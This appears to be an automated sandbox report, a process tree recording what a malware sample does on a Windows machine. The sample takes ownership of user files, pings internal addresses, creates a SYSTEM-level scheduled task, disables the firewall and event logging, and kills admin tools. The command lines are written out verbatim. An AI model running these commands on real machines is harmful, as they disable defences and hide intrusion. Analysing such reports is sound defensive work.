                                                                                                                                                                                                                        takeown /f \\?\C:\Users\Admin\Downloads\PushTest.pcx
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                                                                                        PID:4544
                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                                                                        ping -n 1 -w 50 10.127.1.21
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                        • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                        • Runs ping.exe
                                                                                                                                                                                                                        PID:2456
                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                                                        takeown /f \\?\C:\Users\Admin\Downloads\RevokeJoin.potx
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                                                                                        PID:5452
                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                                        icacls \\?\C:\Users\Admin\Downloads\ResetSync.wav /grant Admin:F
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                                        PID:1664
                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\taskkill.exe
                                                                                                                                                                                                                        taskkill /f /im notepad.exe
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                        PID:2668
                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                                        icacls \\?\C:\Users\Admin\Downloads\ResumeSet.xps /grant Admin:F
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:6372
                                                                                                                                                                                                                        • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                                                          takeown /f \\?\C:\Users\Admin\Downloads\SaveExpand.pptm
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                          • Possible privilege escalation attempt
                                                                                                                                                                                                                          PID:6504
                                                                                                                                                                                                                        • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                                                          takeown /f \\?\C:\Users\Admin\Downloads\SendJoin.zip
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                                                          PID:6868
                                                                                                                                                                                                                        • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                                          icacls \\?\C:\Users\Admin\Downloads\PushTest.pcx /grant Admin:F
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                            PID:6888
                                                                                                                                                                                                                          • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                                            icacls \\?\C:\Users\Admin\Downloads\SendJoin.zip /grant Admin:F
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:6512
                                                                                                                                                                                                                            • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                                              icacls \\?\C:\Users\Admin\Downloads\RequestUnlock.reg /grant Admin:F
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                              • Possible privilege escalation attempt
                                                                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                                                                              PID:6756
                                                                                                                                                                                                                            • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                                              icacls \\?\C:\Users\Admin\Downloads\SaveExpand.pptm /grant Admin:F
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                              • Possible privilege escalation attempt
                                                                                                                                                                                                                              PID:7316
                                                                                                                                                                                                                            • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                                                              takeown /f \\?\C:\Users\Admin\Downloads\RestoreSwitch.eprtx
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                              • Possible privilege escalation attempt
                                                                                                                                                                                                                              PID:6632
                                                                                                                                                                                                                            • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                                                              takeown /f \\?\C:\Users\Admin\Downloads\SetExit.ocx
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                              • Possible privilege escalation attempt
                                                                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                                                                              PID:6204
                                                                                                                                                                                                                            • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                                              icacls \\?\C:\Users\Admin\Downloads\RevokeJoin.potx /grant Admin:F
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                PID:7736
                                                                                                                                                                                                                              • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                                                                                ping -n 1 -w 50 10.127.1.22
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                                • Runs ping.exe
                                                                                                                                                                                                                                PID:7304
                                                                                                                                                                                                                              • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                                                                takeown /f \\?\C:\Users\Admin\Downloads\ShowClear.svgz
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                • Possible privilege escalation attempt
                                                                                                                                                                                                                                PID:6752
                                                                                                                                                                                                                              • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                                                icacls \\?\C:\Users\Admin\Downloads\ResumeComplete.midi /grant Admin:F
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                  PID:7708
                                                                                                                                                                                                                                • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                                                  icacls \\?\C:\Users\Admin\Downloads\ShowClear.svgz /grant Admin:F
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                  • Possible privilege escalation attempt
                                                                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                                                                  PID:7816
                                                                                                                                                                                                                                • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                                                  icacls \\?\C:\Users\Admin\Downloads\SetExit.ocx /grant Admin:F
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                    PID:7332
                                                                                                                                                                                                                                  • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                                                    icacls \\?\C:\Users\Admin\Downloads\RestoreSwitch.eprtx /grant Admin:F
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                      PID:6524
                                                                                                                                                                                                                                    • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                                                                      takeown /f \\?\C:\Users\Admin\Downloads\SkipRestore.ps1xml
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                        PID:1184
                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                                                                        takeown /f \\?\C:\Users\Admin\Downloads\StepEnter.mp4
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                                                                                                        PID:8028
                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                                                                                        ping -n 1 -w 50 10.127.1.34
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                        • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                                        • Runs ping.exe
                                                                                                                                                                                                                                        PID:7252
                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                                                                        takeown /f \\?\C:\Users\Admin\Downloads\SyncRepair.tif
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                                                                                                        PID:6960
                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                                                        icacls \\?\C:\Users\Admin\Downloads\SkipRestore.ps1xml /grant Admin:F
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                                                        PID:6360
                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                                                                                        ping -n 1 -w 50 10.127.1.33
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                        • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                                        • Runs ping.exe
                                                                                                                                                                                                                                        PID:8072
                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                                                                                        ping -n 1 -w 50 10.127.1.32
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                        • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                                        • Runs ping.exe
                                                                                                                                                                                                                                        PID:6916
                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                                                                                        ping -n 1 -w 50 10.127.1.31
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                        • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                                        • Runs ping.exe
                                                                                                                                                                                                                                        PID:2896
                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                                                                                        ping -n 1 -w 50 10.127.1.30
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                        • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                                        • Runs ping.exe
                                                                                                                                                                                                                                        PID:2488
                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                                                                                        ping -n 1 -w 50 10.127.1.29
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                        • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                                        • Runs ping.exe
                                                                                                                                                                                                                                        PID:5284
                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                                                                                        ping -n 1 -w 50 10.127.1.28
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                        • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                                        • Runs ping.exe
                                                                                                                                                                                                                                        PID:6004
                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                                                                                        ping -n 1 -w 50 10.127.1.27
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                        • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                                        • Runs ping.exe
                                                                                                                                                                                                                                        PID:4868
                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                                                                                        ping -n 1 -w 50 10.127.1.26
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                        • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                                        • Runs ping.exe
                                                                                                                                                                                                                                        PID:4752
                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                                                                                        ping -n 1 -w 50 10.127.1.25
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                        • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                                        • Runs ping.exe
                                                                                                                                                                                                                                        PID:8
                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                                                                                        ping -n 1 -w 50 10.127.1.24
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                        • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                                        • Runs ping.exe
                                                                                                                                                                                                                                        PID:3356
                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                                                                                        ping -n 1 -w 50 10.127.1.23
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                        • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                                        • Runs ping.exe
                                                                                                                                                                                                                                        PID:1164
                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                                                                        takeown /f \\?\C:\Users\Admin\Downloads\UnprotectExpand.M2T
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                          PID:8116
                                                                                                                                                                                                                                        • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                                                                          takeown /f \\?\C:\Users\Admin\Downloads\UnprotectHide.shtml
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                          • Possible privilege escalation attempt
                                                                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                                                                          PID:4320
                                                                                                                                                                                                                                        • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                                                                          takeown /f \\?\C:\Users\Admin\Downloads\UnpublishCompare.au
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                          • Possible privilege escalation attempt
                                                                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                                                                          PID:5140
                                                                                                                                                                                                                                        • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                                                          icacls \\?\C:\Users\Admin\Downloads\UnprotectHide.shtml /grant Admin:F
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                            PID:7724
                                                                                                                                                                                                                                          • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                                                            icacls \\?\C:\Users\Admin\Downloads\StepEnter.mp4 /grant Admin:F
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                              PID:7756
                                                                                                                                                                                                                                            • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                                                              icacls \\?\C:\Users\Admin\Downloads\UnpublishCompare.au /grant Admin:F
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                              • Possible privilege escalation attempt
                                                                                                                                                                                                                                              PID:5024
                                                                                                                                                                                                                                            • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                                                                              takeown /f \\?\C:\Users\Admin\Downloads\UseClear.nfo
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                              • Possible privilege escalation attempt
                                                                                                                                                                                                                                              PID:7500
                                                                                                                                                                                                                                            • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                                                              icacls \\?\C:\Users\Admin\Downloads\UnprotectExpand.M2T /grant Admin:F
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                                                                                              PID:7484
                                                                                                                                                                                                                                            • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                                                                              takeown /f \\?\C:\Users\Admin\Downloads\WatchUninstall.dwg
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                              • Possible privilege escalation attempt
                                                                                                                                                                                                                                              PID:7404
                                                                                                                                                                                                                                            • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                                                                                              ping -n 1 -w 50 10.127.1.35
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                              • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                                              • Runs ping.exe
                                                                                                                                                                                                                                              PID:6868
                                                                                                                                                                                                                                            • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                                                              icacls \\?\C:\Users\Admin\Downloads\SyncRepair.tif /grant Admin:F
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                                                                                              PID:7120
                                                                                                                                                                                                                                            • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                                                                              takeown /f \\?\C:\Users\Admin\Documents\BackupMount.docx
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                PID:6504
                                                                                                                                                                                                                                              • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                                                                icacls \\?\C:\Users\Admin\Downloads\UseClear.nfo /grant Admin:F
                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                  PID:7844
                                                                                                                                                                                                                                                • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                                                                                  takeown /f \\?\C:\Users\Admin\Documents\CopyEnter.dotx
                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                    PID:3704
                                                                                                                                                                                                                                                  • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                                                                    icacls \\?\C:\Users\Admin\Downloads\WatchUninstall.dwg /grant Admin:F
                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                      PID:6728
                                                                                                                                                                                                                                                    • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                                                                                      takeown /f \\?\C:\Users\Admin\Documents\desktop.ini
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                      • Possible privilege escalation attempt
                                                                                                                                                                                                                                                      PID:5700
                                                                                                                                                                                                                                                    • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                                                                                      takeown /f \\?\C:\Users\Admin\Documents\DismountResolve.ppsx
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                      • Possible privilege escalation attempt
                                                                                                                                                                                                                                                      PID:8176
                                                                                                                                                                                                                                                    • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                                                                                                      ping -n 1 -w 50 10.127.1.37
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                      • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                                                      • Runs ping.exe
                                                                                                                                                                                                                                                      PID:6852
                                                                                                                                                                                                                                                    • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                                                                      icacls \\?\C:\Users\Admin\Documents\ExpandSearch.mht /grant Admin:F
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                                                                      PID:7372
                                                                                                                                                                                                                                                    • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                                                                      icacls \\?\C:\Users\Admin\Documents\desktop.ini /grant Admin:F
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                        PID:4748
                                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                                                                                        takeown /f \\?\C:\Users\Admin\Documents\LimitUninstall.pptx
                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                                                                        PID:2796
                                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                                                                        icacls \\?\C:\Users\Admin\Documents\InvokeLimit.xla /grant Admin:F
                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                                                                                                                        PID:5024
                                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                                                                        icacls \\?\C:\Users\Admin\Documents\JoinLock.vstx /grant Admin:F
                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                          PID:7444
                                                                                                                                                                                                                                                        • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                                                                          icacls \\?\C:\Users\Admin\Documents\ExportMeasure.vsdx /grant Admin:F
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                            PID:7648
                                                                                                                                                                                                                                                          • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                                                                                            takeown /f \\?\C:\Users\Admin\Documents\RedoUnprotect.ppt
                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                              PID:4656
                                                                                                                                                                                                                                                            • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                                                                              icacls \\?\C:\Users\Admin\Documents\JoinFormat.dot /grant Admin:F
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                                                                                                              PID:1256
                                                                                                                                                                                                                                                            • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                                                                                                              ping -n 1 -w 50 10.127.1.39
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                              • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                                                              • Runs ping.exe
                                                                                                                                                                                                                                                              PID:3440
                                                                                                                                                                                                                                                            • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                                                                                              takeown /f \\?\C:\Users\Admin\Documents\RegisterRepair.xlsm
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                PID:6396
                                                                                                                                                                                                                                                              • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                                                                                                takeown /f \\?\C:\Users\Admin\Documents\OutPop.txt
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                • Possible privilege escalation attempt
                                                                                                                                                                                                                                                                PID:2488
                                                                                                                                                                                                                                                              • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                                                                                                                ping -n 1 -w 50 10.127.1.40
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                                                                • Runs ping.exe
                                                                                                                                                                                                                                                                PID:7584
                                                                                                                                                                                                                                                              • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                                                                                                takeown /f \\?\C:\Users\Admin\Documents\RevokeSkip.vsd
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                  PID:7680
                                                                                                                                                                                                                                                                • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                                                                                  icacls \\?\C:\Users\Admin\Documents\StartDismount.xlsx /grant Admin:F
                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                                                                                                  PID:6896
                                                                                                                                                                                                                                                                • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                                                                                                  takeown /f \\?\C:\Users\Admin\Documents\RevokeSkip.xla
                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                    PID:2080
                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe" C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_n
                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                PID:3292
                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe" C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_n
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                  PID:5576
                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "IronChain_SYSTEM" /tr "C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_n" /sc onstart /ru SYSTEM /rl HIGHEST /f"
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                    PID:2304
                                                                                                                                                                                                                                                                    • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                                                                                      schtasks /create /tn "IronChain_SYSTEM" /tr "C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_n" /sc onstart /ru SYSTEM /rl HIGHEST /f
                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                      PID:2100
                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "schtasks /run /tn "IronChain_SYSTEM""
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                    PID:3580
                                                                                                                                                                                                                                                                    • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                                                                                      schtasks /run /tn "IronChain_SYSTEM"
                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                        PID:1388
                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                                                                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                      PID:5612
                                                                                                                                                                                                                                                                      • C:\Windows\System32\netsh.exe
                                                                                                                                                                                                                                                                        netsh advfirewall set allprofiles state off
                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                        • Modifies Windows Firewall
                                                                                                                                                                                                                                                                        • Event Triggered Execution: Netsh Helper DLL
                                                                                                                                                                                                                                                                        PID:4160
                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "sc stop EventLog"
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                                                                                                                                                      PID:5164
                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "sc config EventLog start= disabled"
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                                                                                                                                                      PID:2956
                                                                                                                                                                                                                                                                      • C:\Windows\System32\sc.exe
                                                                                                                                                                                                                                                                        sc config EventLog start= disabled
                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                        • Launches sc.exe
                                                                                                                                                                                                                                                                        PID:1144
                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "sc stop Resmon"
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                                                                                                                                                      PID:2560
                                                                                                                                                                                                                                                                      • C:\Windows\System32\sc.exe
                                                                                                                                                                                                                                                                        sc stop Resmon
                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                        • Launches sc.exe
                                                                                                                                                                                                                                                                        PID:2112
                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "sc config Resmon start= disabled"
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                                                                                                                                                      PID:4412
                                                                                                                                                                                                                                                                      • C:\Windows\System32\sc.exe
                                                                                                                                                                                                                                                                        sc config Resmon start= disabled
                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                        • Launches sc.exe
                                                                                                                                                                                                                                                                        PID:1532
                                                                                                                                                                                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                                                                      taskkill /f /im Taskmgr.exe
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                                                                                                                      PID:2580
                                                                                                                                                                                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                                                                      taskkill /f /im regedit.exe
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                                                                                                                      PID:3096
                                                                                                                                                                                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                                                                      taskkill /f /im cmd.exe
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                                                                                                                      PID:6056
                                                                                                                                                                                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                                                                      taskkill /f /im msconfig.exe
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                                                                                                                      PID:5876
